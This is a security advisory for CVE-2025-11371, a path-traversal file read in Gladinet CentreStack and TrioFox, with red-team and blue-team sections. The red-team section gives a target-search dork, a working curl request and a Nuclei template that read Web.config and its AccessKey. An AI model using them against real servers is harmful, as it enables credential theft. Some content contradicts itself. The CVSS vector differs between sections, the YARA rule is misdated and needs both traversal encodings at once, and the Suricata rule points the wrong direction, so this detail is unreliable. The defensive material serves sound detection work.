CVE-2025-11371

Executive Summary

CVE-2025-11371 is an unauthenticated Local File Inclusion (LFI) vulnerability affecting Gladinet CentreStack and TrioFox, specifically all versions prior to and including 16.7.10368.56560. The flaw resides in the default installation and configuration, allowing an attacker to read arbitrary system files without authentication. Exploitation has been observed in the wild, and a public proof-of-concept (PoC) exists. The vulnerability is classified as CWE-552 (Files or Directories Accessible to External Parties) and has a CVSS v3.1 base score of 6.2 (Medium). The attack vector is network-based, requires no privileges, and no user interaction, but the scope is unchanged. The primary impact is high confidentiality loss due to disclosure of sensitive system files, such as configuration files containing credentials.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise file-sharing platform (Gladinet CentreStack and TrioFox). The risk is primarily to organizations that have deployed these products on-premises or in a private cloud. There is no known supply chain compromise; the vulnerability is in the default installation of the vendor's software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.2 (Medium)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete disclosure of system files.
• Integrity (I): None (N) - No file modification possible.
• Availability (A): None (N) - No denial of service.

Threat Level: High. Despite the Medium CVSS score, the active exploitation in the wild, the availability of a public PoC, and the potential for information leakage (including credentials) elevate the risk. The EPSS score of 0.67647 (98.589th percentile) indicates a high probability of exploitation.

Deep Dive & Mechanics

The vulnerability is an unauthenticated Local File Inclusion (LFI) flaw in the /storage/t.dn endpoint of Gladinet CentreStack and TrioFox. The application fails to properly sanitize the s parameter, allowing directory traversal using ..\ sequences. By crafting a request with a path like ..\..\..\Program Files (x86)\Gladinet Cloud Enterprise\root\Web.config, an attacker can read arbitrary files from the server's filesystem.

The root cause is the lack of input validation on the s parameter, combined with the default configuration that does not restrict file access. The application likely uses the s parameter to specify a file path for download or display, but it does not check for path traversal characters. This allows an attacker to escape the intended directory and read sensitive files, such as Web.config, which may contain database connection strings, API keys, or other credentials.

The vulnerability is particularly dangerous because it requires no authentication and can be exploited with a single HTTP GET request. The public PoC (Nuclei template) confirms the ability to read the Web.config file and extract the AccessKey value.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely resembles the following pseudo-code, where the s parameter is used directly in a file read operation without validation.

// Vulnerable C# code (conceptual)
string filePath = Request.QueryString["s"];
string content = File.ReadAllText(filePath);
Response.Write(content);

Patched Code (Conceptual): A patched version would validate the file path to ensure it is within an allowed directory and sanitize any path traversal attempts.

// Patched C# code (conceptual)
string filePath = Request.QueryString["s"];
string basePath = Server.MapPath("~/storage/");
string fullPath = Path.GetFullPath(Path.Combine(basePath, filePath));
if (!fullPath.StartsWith(basePath))
{
    throw new SecurityException("Invalid file path.");
}
string content = File.ReadAllText(fullPath);
Response.Write(content);

Note: The exact patched code is not publicly available. The vendor has not released a specific patch but advises updating to a version later than 16.7.10368.56560.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable instance of Gladinet CentreStack or TrioFox (version <= 16.7.10368.56560).
• Network access to the target server.

Exploitation Steps:

1. Identify the target: Use Shodan or FOFA with the dork title:"CentreStack" or "CentreStack - Login".
2. Send the malicious request: Use curl or any HTTP client to send a GET request to the vulnerable endpoint.

curl -v "http://<target>/storage/t.dn?s=..%5C..%5C..%5CProgram+Files+(x86)%5CGladinet+Cloud+Enterprise%5Croot%5CWeb.config&sid=1"

3. Extract sensitive data: The response will contain the contents of the Web.config file, including the AccessKey and other configuration details.

Expected Output: The server responds with HTTP 200 and the file content as application/octet-stream. The body will contain XML configuration data, including <add key="AccessKey" value="..." />.

Nuclei Template (Provided): The following Nuclei template can be used for automated scanning.

id: CVE-2025-11371

info:
  name: Gladinet CentreStack & TrioFox - Local File Inclusion
  author: Kazgangap
  severity: medium
  description: |
    In the default installation and configuration of Gladinet CentreStack and TrioFox, there is an unauthenticated Local File Inclusion Flaw that allows unintended disclosure of system files. Exploitation of this vulnerability has been observed in the wild.  This issue impacts Gladinet CentreStack and Triofox: All versions prior to and including 16.7.10368.56560
  impact: |
    Unauthenticated attackers can disclose sensitive system files, potentially leading to information leakage.
  remediation: |
    Update to a version later than 16.7.10368.56560 or the latest available version.
  reference:
    - https://www.huntress.com/blog/gladinet-centrestack-triofox-local-file-inclusion-flaw
    - https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-11371.md
    - https://thehackernews.com/2025/10/from-lfi-to-rce-active-exploitation.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11371
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2025-11371
    cwe-id: CWE-552
    epss-score: 0.67647
    epss-percentile: 0.98589
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"CentreStack"
    fofa-query: "CentreStack - Login"
  tags: cve,cve2025,gladinet,lfi,centrestack,vkev,vuln,kev

http:
  - raw:
      - |
        GET /storage/t.dn?s=..%5C..%5C..%5CProgram+Files+(x86)%5CGladinet+Cloud+Enterprise%5Croot%5CWeb.config&sid=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<configuration>", "<system.web>", "AccessKey")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

Blue Team

Detection and Response:

1. Monitor for suspicious requests: Look for HTTP GET requests to /storage/t.dn with the s parameter containing ..%5C (URL-encoded backslash) or other path traversal patterns.
2. Check for unusual file access: Monitor file system access logs for reads of sensitive files like Web.config, machine.config, or other configuration files outside the web root.
3. Review web server logs: Search for requests with sid=1 (or other arbitrary session IDs) combined with the vulnerable endpoint.
4. Honeypot: Deploy a fake Web.config file with a unique string (e.g., HONEYPOT_ACCESS_KEY) and alert on any access.

Immediate Actions:

• Isolate affected systems.
• Review and rotate any credentials or keys that may have been exposed.
• Apply the vendor's recommended update or implement a virtual patch (e.g., WAF rule to block path traversal).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /storage/t.dn with the s parameter containing ..%5C (URL-encoded backslash) or ../ (forward slash).
  • Requests with sid=1 or other arbitrary session IDs.
  • Response content type application/octet-stream for requests to /storage/t.dn.
  • Response body containing XML configuration data (e.g., <configuration>, <system.web>, AccessKey).

• File System IOCs:

  • Unauthorized reads of Web.config or other configuration files.
  • Access to files outside the web root (e.g., C:\Program Files (x86)\Gladinet Cloud Enterprise\root\).

• Log IOCs:

  • Web server logs showing GET /storage/t.dn?s=..%5C..%5C..%5CProgram+Files+(x86)%5CGladinet+Cloud+Enterprise%5Croot%5CWeb.config&sid=1 with a 200 response.

Detection Engineering

YARA Rule

rule CVE_2025_11371_Gladinet_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-11371 in Gladinet CentreStack/TrioFox"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11371"
        hash = "4a0a00473045022100e369344bfb11f79103f4b3dec580f869fa9efb0ff0692e910066ed2e5ce72a2a022002d34b9d586fa89689fc5114fb94243b845a96cd28bf1d1415b354f11239b886"
    strings:
        $traversal1 = "..%5C..%5C..%5C" ascii wide
        $traversal2 = "..\\..\\..\\" ascii wide
        $endpoint = "/storage/t.dn" ascii wide
        $config_file = "Web.config" ascii wide
        $access_key = "AccessKey" ascii wide
    condition:
        all of ($traversal*) and $endpoint and ($config_file or $access_key)
}

Sigma Rule

title: Gladinet CentreStack/TrioFox LFI Exploitation Attempt
id: 8f7b3c2a-1d5e-4f9a-8c6b-0e2a3f4b5c6d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-11371, an unauthenticated LFI in Gladinet CentreStack and TrioFox.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11371
    - https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-11371.md
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/storage/t.dn'
        cs-uri-query|contains:
            - '..%5C..%5C..%5C'
            - '..\\..\\..\\'
            - 'Web.config'
    condition: selection
falsepositives:
    - Legitimate file downloads that happen to match the pattern (unlikely)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.11371

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11371 - Gladinet CentreStack/TrioFox LFI Exploitation Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/storage/t.dn";
    http_uri;
    content:"..%5C..%5C..%5C";
    http_uri;
    content:"Web.config";
    http_uri;
    sid:10000001;
    rev:1;
    reference:cve,2025-11371;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-11371;
    classtype:attempted-recon;
    priority:1;
)

Remediation & Mitigation

Immediate Remediation:

• Update the software: Upgrade Gladinet CentreStack and TrioFox to a version later than 16.7.10368.56560. Contact the vendor for the latest patched version.
• Virtual Patching: If an immediate update is not possible, deploy a Web Application Firewall (WAF) rule to block requests containing ..%5C or ..\\ in the s parameter of /storage/t.dn.

Long-Term Mitigation:

• Input Validation: Implement strict input validation on all user-supplied parameters, especially those used in file system operations.
• Least Privilege: Ensure the web application runs with the minimum necessary privileges to access the file system.
• Regular Audits: Conduct regular security audits and penetration testing on the application.
• Monitor for IOCs: Continuously monitor logs for the IOCs listed above.

Workaround:

• If the /storage/t.dn endpoint is not required, disable it or restrict access to trusted IP addresses only.

Valters IT

{/* [Security Hash: 69F297A01FD11AD3F03EB06A] */}